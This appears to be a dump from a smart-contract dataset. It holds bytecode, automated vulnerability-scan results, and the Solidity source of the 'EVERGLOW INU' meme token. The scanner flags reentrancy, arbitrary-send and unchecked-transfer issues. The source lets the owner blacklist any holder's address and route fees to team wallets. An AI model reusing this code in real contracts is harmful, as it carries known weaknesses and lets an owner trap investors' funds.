0049290925560055590565b600080546001600160a01b0316331461094b57600080fd5b60089190915590565b60095460ff1681565b61096633610f47565b565b600080546001600160a01b0316331461098057600080fd5b60029190915590565b60095460ff1615156001146109e5576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a3a576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a9457600080fd5b505af1158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051610b11576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b1a33610f47565b6000610b37612710610623600454856110db90919063ffffffff16565b90506000610b458383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d6020811015610bcb57600080fd5b5051610c1e576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610c38908261114c565b336000818152600c6020526040902091909155610c5790600a90611117565b61084557610c66600a3361115b565b50336000908152600d60205260409020429055505050565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b03163314610cc557600080fd5b6001546001600160a01b0384811691161415610d0057610ce3610de2565b811115610cef57600080fd5b600754610cfc908261114c565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610dbb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60075481565b60055481565b600060085460075410610df75750600061090c565b6000610e10600754600854610f3090919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112ff6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610f3c57fe5b508082035b92915050565b6000610f528261084a565b905080156110be576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000fd5b505050506040513d6020811015610fda57600080fd5b505161102d576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f6020526040902054611050908261114c565b6001600160a01b0383166000908152600f6020526040902055600754611076908261114c565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b60008282028315806110f55750828482816110f257fe5b04145b6110fb57fe5b9392505050565b60008082848161110e57fe5b04949350505050565b60006110fb836001600160a01b038416611170565b60006110fb836001600160a01b038416611188565b6000610f418261124e565b6000828201838110156110fb57fe5b60006110fb836001600160a01b038416611252565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561124457835460001980830191908101906000908790839081106111bb57fe5b90600052602060002001549050808760000184815481106111d857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f41565b6000915050610f41565b5490565b600061125e8383611170565b61129457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f41565b506000610f4156fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a264697066735822122062a620ceac7de513fddb2830498986e12ab0e1f62ce9eb0d92aed36304b14fc364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,739
0xA027A86192210c5Cf9F3295d981209a620289cFb
/* EVERGLOW INU: $EverGlow KPop Fan Token Community: https://t.me/everglowinu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EverGlow is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EVERGLOW INU"; string private constant _symbol = "EverGlow"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _devFund; address payable private _marketingFunds; address payable private _buybackWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) { _devFund = devFundAddr; _marketingFunds = marketingFundAddr; _buybackWalletAddress = buybackAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devFund] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } if (block.number <= launchBlock + 2 && amount == _maxTxAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devFund.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(4).div(10)); _buybackWalletAddress.transfer(amount.mul(2).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _devFund); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devFund); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034c578063cba0e99614610361578063d00efb2f1461039a578063d543dbeb146103b0578063dd62ed3e146103d0578063e47d60601461041657600080fd5b80638da5cb5b1461029e57806395d89b41146102c6578063a9059cbb146102f7578063b515566a14610317578063c3c8cd801461033757600080fd5b8063313ce567116100f2578063313ce567146102185780635932ead1146102345780636fc3eaec1461025457806370a0823114610269578063715018a61461028957600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d6578063273123b7146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b45564552474c4f5720494e5560a01b60208201525b6040516101789190611bdb565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611a6c565b61044f565b6040519015158152602001610178565b3480156101bd57600080fd5b50670de0b6b3a76400005b604051908152602001610178565b3480156101e257600080fd5b506101a16101f1366004611a2c565b610466565b34801561020257600080fd5b506102166102113660046119bc565b6104cf565b005b34801561022457600080fd5b5060405160098152602001610178565b34801561024057600080fd5b5061021661024f366004611b5e565b610523565b34801561026057600080fd5b5061021661056b565b34801561027557600080fd5b506101c86102843660046119bc565b610598565b34801561029557600080fd5b506102166105ba565b3480156102aa57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102d257600080fd5b5060408051808201909152600881526745766572476c6f7760c01b602082015261016b565b34801561030357600080fd5b506101a1610312366004611a6c565b61062e565b34801561032357600080fd5b50610216610332366004611a97565b61063b565b34801561034357600080fd5b506102166106df565b34801561035857600080fd5b50610216610715565b34801561036d57600080fd5b506101a161037c3660046119bc565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a657600080fd5b506101c860125481565b3480156103bc57600080fd5b506102166103cb366004611b96565b610ada565b3480156103dc57600080fd5b506101c86103eb3660046119f4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b506101a16104313660046119bc565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045c338484610bac565b5060015b92915050565b6000610473848484610cd0565b6104c584336104c085604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cf565b610bac565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611c2e565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016104f990611c2e565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058b57600080fd5b4761059581611209565b50565b6001600160a01b038116600090815260026020526040812054610460906112e0565b6000546001600160a01b031633146105e45760405162461bcd60e51b81526004016104f990611c2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045c338484610cd0565b6000546001600160a01b031633146106655760405162461bcd60e51b81526004016104f990611c2e565b60005b81518110156106db576001600a600084848151811061069757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d381611d41565b915050610668565b5050565b600c546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600061070a30610598565b905061059581611364565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104f990611c2e565b601054600160a01b900460ff16156107995760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082670de0b6b3a7640000610bac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119d8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119d8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119d8565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610598565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611bae565b505060108054660aa87bee5380006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190611b7a565b6000546001600160a01b03163314610b045760405162461bcd60e51b81526004016104f990611c2e565b60008111610b545760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f9565b610b716064610b6b670de0b6b3a764000084611509565b90611588565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b1561117257601054600160b81b900460ff1615610f0b576001600160a01b0383163014801590610e5d57506001600160a01b0382163014155b8015610e775750600f546001600160a01b03848116911614155b8015610e915750600f546001600160a01b03838116911614155b15610f0b57600f546001600160a01b0316336001600160a01b03161480610ecb57506010546001600160a01b0316336001600160a01b0316145b610f0b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f9565b601154811115610f1a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5c57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f785750336000908152600a602052604090205460ff16155b610f8157600080fd5b6010546001600160a01b038481169116148015610fac5750600f546001600160a01b03838116911614155b8015610fd157506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe65750601054600160b81b900460ff165b15611034576001600160a01b0382166000908152600b6020526040902054421161100f57600080fd5b61101a42600a611cd3565b6001600160a01b0383166000908152600b60205260409020555b601254611042906002611cd3565b4311158015611052575060115481145b15611105576010546001600160a01b038481169116148015906110835750600f546001600160a01b03848116911614155b156110b0576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611105565b6010546001600160a01b038381169116148015906110dc5750600f546001600160a01b03838116911614155b15611105576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061111030610598565b601054909150600160a81b900460ff1615801561113b57506010546001600160a01b03858116911614155b80156111505750601054600160b01b900460ff165b156111705761115e81611364565b47801561116e5761116e47611209565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b457506001600160a01b03831660009081526005602052604090205460ff165b156111bd575060005b6111c9848484846115ca565b50505050565b600081848411156111f35760405162461bcd60e51b81526004016104f99190611bdb565b5060006112008486611d2a565b95945050505050565b600c546001600160a01b03166108fc611228600a610b6b856004611509565b6040518115909202916000818181858888f19350505050158015611250573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611270600a610b6b856004611509565b6040518115909202916000818181858888f19350505050158015611298573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112b8600a610b6b856002611509565b6040518115909202916000818181858888f193505050501580156106db573d6000803e3d6000fd5b60006006548211156113475760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006113516115f6565b905061135d8382611588565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ba57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140e57600080fd5b505afa158015611422573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144691906119d8565b8160018151811061146757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461148d9130911684610bac565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c6908590600090869030904290600401611c63565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261151857506000610460565b60006115248385611d0b565b9050826115318583611ceb565b1461135d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061135d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611619565b806115d7576115d7611647565b6115e284848461166a565b806111c9576111c96002600855600a600955565b6000806000611603611761565b90925090506116128282611588565b9250505090565b6000818361163a5760405162461bcd60e51b81526004016104f99190611bdb565b5060006112008486611ceb565b6008541580156116575750600954155b1561165e57565b60006008819055600955565b60008060008060008061167c876117a1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116ae90876117fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116dd9086611840565b6001600160a01b0389166000908152600260205260409020556116ff8161189f565b61170984836118e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161174e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061177c8282611588565b82101561179857505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117be8a60085460095461190d565b92509250925060006117ce6115f6565b905060008060006117e18e87878761195c565b919e509c509a509598509396509194505050505091939550919395565b600061135d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cf565b60008061184d8385611cd3565b90508381101561135d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b60006118a96115f6565b905060006118b78383611509565b306000908152600260205260409020549091506118d49082611840565b30600090815260026020526040902055505050565b6006546118f690836117fe565b6006556007546119069082611840565b6007555050565b60008080806119216064610b6b8989611509565b905060006119346064610b6b8a89611509565b9050600061194c826119468b866117fe565b906117fe565b9992985090965090945050505050565b600080808061196b8886611509565b905060006119798887611509565b905060006119878888611509565b905060006119998261194686866117fe565b939b939a50919850919650505050505050565b80356119b781611d88565b919050565b6000602082840312156119cd578081fd5b813561135d81611d88565b6000602082840312156119e9578081fd5b815161135d81611d88565b60008060408385031215611a06578081fd5b8235611a1181611d88565b91506020830135611a2181611d88565b809150509250929050565b600080600060608486031215611a40578081fd5b8335611a4b81611d88565b92506020840135611a5b81611d88565b929592945050506040919091013590565b60008060408385031215611a7e578182fd5b8235611a8981611d88565b946020939093013593505050565b60006020808385031215611aa9578182fd5b823567ffffffffffffffff80821115611ac0578384fd5b818501915085601f830112611ad3578384fd5b813581811115611ae557611ae5611d72565b8060051b604051601f19603f83011681018181108582111715611b0a57611b0a611d72565b604052828152858101935084860182860187018a1015611b28578788fd5b8795505b83861015611b5157611b3d816119ac565b855260019590950194938601938601611b2c565b5098975050505050505050565b600060208284031215611b6f578081fd5b813561135d81611d9d565b600060208284031215611b8b578081fd5b815161135d81611d9d565b600060208284031215611ba7578081fd5b5035919050565b600080600060608486031215611bc2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0757858101830151858201604001528201611beb565b81811115611c185783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb25784516001600160a01b031683529383019391830191600101611c8d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ce657611ce6611d5c565b500190565b600082611d0657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2557611d25611d5c565b500290565b600082821015611d3c57611d3c611d5c565b500390565b6000600019821415611d5557611d55611d5c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059557600080fd5b801515811461059557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0ae37d5d69e85f14392daceffdbfd3d9b14a4d4403be0a6e2c4fccab0d1a63364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,740
0xe9430947f539fadcd6629df7a8598ee8512fa359
